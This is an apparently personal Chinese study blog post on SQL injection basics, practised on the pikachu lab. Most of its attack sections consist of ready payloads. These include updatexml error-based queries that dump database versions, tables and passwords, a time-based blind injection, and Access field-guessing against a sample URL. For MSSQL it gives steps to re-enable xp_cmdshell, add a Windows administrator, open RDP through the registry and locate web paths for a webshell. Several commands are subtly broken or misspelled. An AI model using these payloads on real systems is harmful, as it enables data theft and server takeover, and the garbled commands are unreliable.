美文网首页
7.sql注入基础1

7.sql注入基础1

作者: 皮蛋是个臭蛋 | 来源:发表于2020-07-27 22:23 被阅读0次

    1.1、自己描述一下sql注入原理

    SQL注入指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    1.2、注入分为那几类

    1.数字型注入
    2.字符型注入
    3.搜索型注入: select * from 表名 where 字段名 like '%对应值%' or 1=1;
    4.xx型注入 : select * from 表名 where 字段=('xx') or 1=1;

    1.3、注入提交方式

    get 提交
    pos提交
    cookie提交

    1.4、注入攻击类型

    1.union注入、
    2.insert/update注入、
    3.delete注入、

    4.http header注入
    先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中。在进行注入。


    image.png

    5.盲注:
    盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注
    (1)布尔盲注
    在命令行输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。

    注:substr()函数
    substr(string,start,length)
    string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。

    (2)时间盲注
    如果猜测真确,那么就会响应延迟几秒,如果错误会立刻返回错误。输入命令
    **
    vince' and if(substr(database(),1,1)='p',sleep(10),null)#**
    (3)报错盲注

    6.cookie注入


    image.png

    7.函数报错注入(updatexml,extractvalue,floor):
    UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串) ,
    第三个参数:new_value,String格式,替换查找到的符合条件的数据
    eg:'or updatexml(1,concat(0x7e,(命令)),0) or'

    
    1、爆数据库版本信息
    k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
    2、爆数据库当前用户
    k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  
    3、爆数据库
    k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
    
    4.爆表
    k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
    
    5、爆字段
    获取字段名,输入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
    
    6、爆字段内容
    获取字段内容,输入:k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
    
    

    8.宽字节注入、


    image.png

    9.二次注入、
    10.偏移注入:
    只针对access数据库,在只爆出表名,没有查出字段名的前提下使用。
    11.information_schema 注入等

    2、通过注入获取access帐号与密码

    1.判断网站所用的数据库是access还是mssql。
    Access存在系统表[msysobjects]
    sqlserver存在系统表sysobjects
    使用命令(待考证):
    and( select count() from sysobjects) >0 mssql 数据库 **
    and( select count(
    ) from msysobjects) >0 access 数据库
    或者
    and user >0 ;
    观察报错,sqlserver报错是将nvarchar值'****'转换为数据类型为int的列时发生语法错误。
    access报错是Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’
    ODBC 驱动程序不支持所需的属性。

    2.爆数据表名
    使用命令:
    and exists(select * from 数据库表名 )
    或者
    and (select count(*) from 数据库表名 )>=0
    ·如果不存在此数据库,报错。
    例子
    http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)

    3.猜测字段数目
    利用order by猜解字段数目,查询语句如下。
    order by n,返回错误页面,则字段数目是n-1.

    4.猜测字段名
    and exists(select 字段名 from 数据库表名 )
    或者
    and (select count(字段名) from 数据库表名 )>=0
    如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测
    5.猜测字段内容长度
    and (select top 1 len(user_name) from administrator)>1//正常

    报错则说明此字段长度为n.
    6.猜测字段内容

    and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面
    说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,

    and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面
    说明administrator表中的user_name字段的第一位ASCII值为97

    3、完成mssql sa dbowner权限获取系统权限或webshell
    1.判断是否是mssql数据库
    and exists (select * from sysobjects)
    页面返回正常,则说明为MsSQL

    2.根据返回信息判断
    and @@version>0
    可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。
    and user>O //获取当前数据库用户名
    and db_name>0 //获取当前数据库名称

    3.判断注入点权限
    and 1=(select IS_SRVROLEMEMBER('sysadmin'))
    and 1=(select is_srvrolemember('db_owner'))
    and 1=(select is_srvrolemember('public'))

    如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。
    sa权限判断
    1.检测与恢复扩展存储
    (1)检测xp_cmdshell扩展存储过程是否被删除
    and 1=(Select count() FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
    检测xp_regread扩展存储过程是否被删除
    and 1=(Select count(
    ) FROM master. dbo.sysobjects Where name = 'xp_regread')
    (2).恢复扩展存储
    :exec sp_configure 'show advanced options ',1;RECONFIGURE;

    EXEC sp_configure 'xp_cmdshell';RECONFIGURE;

    ;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

    常用的扩展存储:
    xp_cmdshell—利用此存储过程可以直接执行系统命令。
    xp_regread—利用此存储过程可以进行注册表读取。
    xp_regwrit一利用此存储过程可以写入注册表。
    xp_dirtre一利用此存储过程可以进行列目录操作。
    xp_enumds—利用此存储过程可以进行ODBC连接。
    xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
    xp_makecab一一利用此存储过程可以创建压缩卷。
    xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
    xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

    2.添加管理员账号:
    ;exec master..xp_cmdshell 'net user test/add'
    exec master..xp_cmdshell 'net locaigroup administrators test/add'

    3.开启3389远程连接端口,
    ;exec master..xp_cmdshell 'sc config termservice start=auto'

    ;exec master..xp_cmdshell 'net start termservice'

    ;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f' //允许外部连接

    dbowner权限

    1.找出网站路径:
    使用命令:

    (1). ;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--
    该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。

    (2);insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
    利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。

    (3). and (select dir from temp where id=1)>0

    语句是查询临时表中的内容,也就是指定的目录文件和文件夹名

    2.写入一句话木马获取webshell

    相关文章

      网友评论

          本文标题:7.sql注入基础1

          本文链接:https://www.haomeiwen.com/subject/rjtzkktx.html